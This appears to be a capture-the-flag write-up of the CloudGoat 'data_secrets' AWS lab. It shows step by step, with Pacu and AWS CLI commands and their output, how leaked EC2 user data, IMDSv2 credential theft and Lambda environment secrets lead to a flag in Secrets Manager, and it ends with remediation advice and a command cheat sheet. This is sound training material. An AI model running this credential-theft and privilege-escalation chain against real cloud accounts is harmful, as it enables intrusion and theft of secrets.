Write-up: Exploiting EC2 User Data and IMDS to escalate privileges
š 2026-02-19
Scenario: data_secrets
Platform: CloudGoat (Rhino Security Labs)
Tools: Pacu + AWS CLI + SSH
Objective: Steal credentials through EC2 User Data, leverage IMDS to escalate, enumerate Lambda functions, and retrieve the flag from Secrets Manager.
Limited User ā EC2 Enum ā User Data Leak ā SSH Access ā IMDS Token Theft ā Lambda Enum ā DB Credentials ā Secrets Manager ā Flag
aws configure --profile data_secrets
# Access Key: AKIA****************
# Secret Key: dHQo/hANNyGHxSCBhOmN********************
aws sts get-caller-identity --profile data_secrets
{
"UserId": "AIDA****************",
"Account": "7912********",
"Arn": "arn:aws:iam::7912********:user/cg-start-user-cgido7xwddyilh"
}
pacu
Pacu > import_keys data_secrets
Pacu > run iam__bruteforce_permissions --region us-east-1
[iam__bruteforce_permissions] Enumerated IAM Permissions:
[iam__bruteforce_permissions] ec2.describe_instances() worked!
[iam__bruteforce_permissions] ec2.describe_tags() worked!
[iam__bruteforce_permissions] dynamodb.describe_endpoints() worked!
[iam__bruteforce_permissions] sts.get_session_token() worked!
[iam__bruteforce_permissions] sts.get_caller_identity() worked!
[iam__bruteforce_permissions] MODULE SUMMARY:
Num of IAM permissions found: 5
Pacu > whoami
{
"UserName": "cg-start-user-cgido7xwddyilh",
"Arn": "arn:aws:iam::7912********:user/cg-start-user-cgido7xwddyilh",
"Permissions": {
"Allow": [
"ec2:DescribeTags",
"ec2:DescribeInstances",
"sts:GetSessionToken",
"sts:GetCallerIdentity",
"dynamodb:DescribeEndpoints"
]
}
}
| Service | Permissions | Note |
|---|---|---|
| EC2 | DescribeInstances, DescribeTags | Can enumerate EC2 instances and metadata |
| STS | GetCallerIdentity, GetSessionToken | Can verify identity |
| DynamoDB | DescribeEndpoints | Low impact |
The ability to describe EC2 instances is the key to exploiting this scenario.
Pacu > run ec2__enum --region us-east-1
[ec2__enum] 1 instance(s) found.
[ec2__enum] 1 public IP address(es) found and added to text file
Pacu saves the IP to: ~/.local/share/pacu/data_secrets/downloads/ec2_public_ips_data_secrets_us-east-1.txt
Public IP: 13.***.***.***
Pacu > help ec2__download_userdata
Pacu > run ec2__download_userdata
Select target region when prompted: us-east-1
Pacu downloads User Data to: ~/.local/share/pacu/data_secrets/downloads/ec2_user_data/
#!/bin/bash
echo "ec2-user:CloudGoatInstancePassword!" | chpasswd
sed -i 's/PasswordAuthentication no/PasswordAuthentication yes/g' /etc/ssh/sshd_config
service sshd restart
| Artifact | Value |
|---|---|
| EC2 Instance ID | i-0827322ea4150fec3 |
| Public IP | 13.***.***.*** |
| SSH Username | ec2-user |
| SSH Password | CloudGoatInstancePassword! |
The User Data script reveals hardcoded SSH credentials, a critical misconfiguration.
ssh ec2-user@13.***.***.***
# Password: CloudGoatInstancePassword!
TOKEN=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" \
-H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
ROLE_NAME=$(curl -s -H "X-aws-ec2-metadata-token: $TOKEN" \
http://169.254.169.254/latest/meta-data/iam/security-credentials/)
echo $ROLE_NAME
Output: cg-ec2-role-cgido7xwddyilh
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" \
http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE_NAME
{
"Code": "Success",
"AccessKeyId": "ASIA****************",
"SecretAccessKey": "f7vFfkcw9iuwNF2mOYPzjw********************",
"Token": "IQoJb3JpZ2luX2VjEDwaCXVzLWVhc3QtMSJI..."
}
aws configure --profile ec2_profile
# Access Key: ASIA****************
# Secret Key: f7vFfkcw9iuwNF2mOYPz********************
# Session Token: (paste the full token)
aws sts get-caller-identity --profile ec2_profile
{
"UserId": "AROA3QN6JWS34Z26XSFIZ:i-0827322ea4150fec3",
"Account": "7912********",
"Arn": "arn:aws:sts::7912********:assumed-role/cg-ec2-role-cgido7xwddyilh/i-0827322ea4150fec3"
}
| Artifact | Value |
|---|---|
| Temporary Access Key | ASIA**************** |
| Temporary Secret Key | f7vFfkcw9iuwNF2mOYPzjwe******************** |
| Session Token | (Long-lived temporary credential) |
Successfully escalated from IAM user to EC2 instance role.
pacu
Pacu > import_keys ec2_profile
Pacu > run iam__bruteforce_permissions --region us-east-1
[iam__bruteforce_permissions] dynamodb.describe_endpoints() worked!
[iam__bruteforce_permissions] sts.get_caller_identity() worked!
[iam__bruteforce_permissions] lambda.list_functions() worked!
[iam__bruteforce_permissions] MODULE SUMMARY:
Num of IAM permissions found: 3
Pacu > whoami
{
"AccessKeyId": "ASIA****************",
"Permissions": {
"Allow": [
"dynamodb:DescribeEndpoints",
"sts:GetCallerIdentity",
"lambda:ListFunctions"
]
}
}
The EC2 role can enumerate Lambda functions, potentially exposing sensitive configuration data such as environment variables.
Pacu > search lambda
Pacu > help lambda__enum
Pacu > run lambda__enum --region us-east-1
[lambda__enum] Enumerating data for cg-lambda-function-cgido7xwddyilh
[+] Secret (ENV): DB_USER_ACCESS_KEY= AKIA****************
[+] Secret (ENV): DB_USER_SECRET_KEY= zHq6/a2/cotXfMhK2bvv********************
[lambda__enum] 1 functions found in us-east-1
| Environment Variable | Value |
|---|---|
DB_USER_ACCESS_KEY | AKIA**************** |
DB_USER_SECRET_KEY | `zHq6/a2/cotXfMhK2bvv/py******************** |
The Lambda function's environment variables contain hardcoded AWS credentials for a database user.
aws configure --profile lambda_profile
# Access Key: AKIA****************
# Secret Key: zHq6/a2/cotXfMhK2bvv********************
pacu
Pacu > import_keys lambda_profile
Pacu > run iam__bruteforce_permissions --region us-east-1
[iam__bruteforce_permissions] dynamodb.describe_endpoints() worked!
[iam__bruteforce_permissions] secretsmanager.list_secrets() worked!
[iam__bruteforce_permissions] sts.get_session_token() worked!
[iam__bruteforce_permissions] sts.get_caller_identity() worked!
[iam__bruteforce_permissions] MODULE SUMMARY:
Num of IAM permissions found: 4
Pacu > whoami
{
"UserName": "cg-lambda-user-cgido7xwddyilh",
"Arn": "arn:aws:iam::7912********:user/cg-lambda-user-cgido7xwddyilh",
"Permissions": {
"Allow": [
"dynamodb:DescribeEndpoints",
"sts:GetSessionToken",
"sts:GetCallerIdentity",
"secretsmanager:ListSecrets"
]
}
}
The Lambda user can enumerate Secrets Manager resources, enabling discovery of sensitive stored data.
Pacu > search secret
Pacu > help secrets__enum
Pacu > run secrets__enum --region us-east-1
[secrets__enum] Starting region us-east-1...
[secrets__enum] Found secret: cg-final-flag-cgido7xwddyilh
[secrets__enum] 1 Secret(s) were found in AWS secretsmanager
cat ~/.local/share/pacu/lambda_profile/downloads/secrets/secrets_manager/secrets.txt
cg-final-flag-cgido7xwddyilh: {"flag":"d4t4_s3cr3ts_4r3_fun"}
Flag: d4t4_s3cr3ts_4r3_fun
āāāāāāāāāāāāāāāāāāāāāāāā
ā Limited IAM User ā
ā (data_secrets) ā
āāāāāāāāāāāā¬āāāāāāāāāāāā
ā ec2:DescribeInstances
ā ec2:DescribeTags
ā¼
āāāāāāāāāāāāāāāāāāāāāāāā
ā EC2 Instance Found ā
ā Public IP: 13.*.*.* ā
āāāāāāāāāāāā¬āāāāāāāāāāāā
ā ec2__download_userdata
ā¼
āāāāāāāāāāāāāāāāāāāāāāāā
ā User Data Leak ā
ā SSH Credentials ā
āāāāāāāāāāāā¬āāāāāāāāāāāā
ā SSH ec2-user@IP
ā¼
āāāāāāāāāāāāāāāāāāāāāāāā
ā SSH Access Gained ā
ā On EC2 Instance ā
āāāāāāāāāāāā¬āāāāāāāāāāāā
ā IMDS Token (IMDSv2)
ā /latest/meta-data/iam/
ā security-credentials/
ā¼
āāāāāāāāāāāāāāāāāāāāāāāā
ā EC2 Role Creds ā
ā Temporary Session ā
āāāāāāāāāāāā¬āāāāāāāāāāāā
ā lambda:ListFunctions
ā¼
āāāāāāāāāāāāāāāāāāāāāāāā
ā Lambda Functions ā
ā Environment Vars ā
āāāāāāāāāāāā¬āāāāāāāāāāāā
ā
ā¼
āāāāāāāāāāāāāāāāāāāāāāāā
ā DB User Credentials ā
ā Hidden in Lambda ā
āāāāāāāāāāāā¬āāāāāāāāāāāā
ā secretsmanager:ListSecrets
ā¼
āāāāāāāāāāāāāāāāāāāāāāāā
ā Secrets Manager ā
ā Final Flag Found ā
āāāāāāāāāāāā¬āāāāāāāāāāāā
ā
ā¼
āāāāāāāāāāāāāāāāāāāāāāāā
ā FLAG ā
ā d4t4_s3cr3ts_4r3_fun ā
āāāāāāāāāāāāāāāāāāāāāāāā
| # | Vulnerability | CWE | CVSS |
|---|---|---|---|
| 1 | Hardcoded SSH credentials in EC2 User Data | CWE-798 | 9.8 |
| 2 | Improper Privilege Management | CWE-269 | 7.5 |
| 3 | Hardcoded AWS credentials in Lambda environment variables | CWE-798 | 9.8 |
| 4 | Overly permissive IAM role on EC2 instance | CWE-732 | 8.2 |
| 5 | Insufficient access controls on Secrets Manager | CWE-732 | 7.1 |
Never store secrets in EC2 User Data
Disable or restrict IMDSv1
# Force IMDSv2 only for new instances
aws ec2 run-instances \
--metadata-options "HttpTokens=required,HttpPutResponseHopLimit=1"
Never store AWS credentials in environment variables
Implement least privilege for IAM roles
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "lambda:GetFunction",
"Resource": "arn:aws:lambda:*:*:function/specific-function"
}
]
}
Monitor and alert on suspicious activities
Enable encryption for secrets at rest and in transit
CloudTrail Monitoring
GuardDuty Alerts
IAM Access Analyzer
VPC Flow Logs
| Tactic | Technique | ID |
|---|---|---|
| Initial Access | Valid Accounts: Cloud Accounts | T1078.004 |
| Discovery | Cloud Service Discovery | T1526 |
| Credential Access | Unsecured Credentials: Credentials in Files / Environment Variables | T1552.001 |
| Credential Access | Cloud Instance Metadata API | T1552.005 |
| Lateral Movement | Use Alternate Authentication Material: Cloud Credentials | T1550.001 |
| Privilege Escalation | Valid Accounts: Cloud Accounts | T1078.004 |
# Initial enumeration
aws configure --profile data_secrets
aws sts get-caller-identity --profile data_secrets
# EC2 enumeration
aws ec2 describe-instances --profile data_secrets --region us-east-1
aws ec2 describe-tags --profile data_secrets --region us-east-1
# Configure additional profiles
aws configure --profile ec2_profile
aws configure --profile lambda_profile
# Validate credentials
aws sts get-caller-identity --profile ec2_profile
aws sts get-caller-identity --profile lambda_profile
# SSH access
ssh ec2-user@<public-ip>
# IMDSv2 token (within EC2 instance)
TOKEN=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" \
-H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
# Get IAM role name
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" \
http://169.254.169.254/latest/meta-data/iam/security-credentials/
# Get temporary credentials
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" \
http://169.254.169.254/latest/meta-data/iam/security-credentials/<role-name>
# Session and key management
import_keys <profile>
whoami
swap_session
# Enumeration
run iam__bruteforce_permissions --region us-east-1
run ec2__enum --region us-east-1
run ec2__download_userdata
run lambda__enum --region us-east-1
run secrets__enum --region us-east-1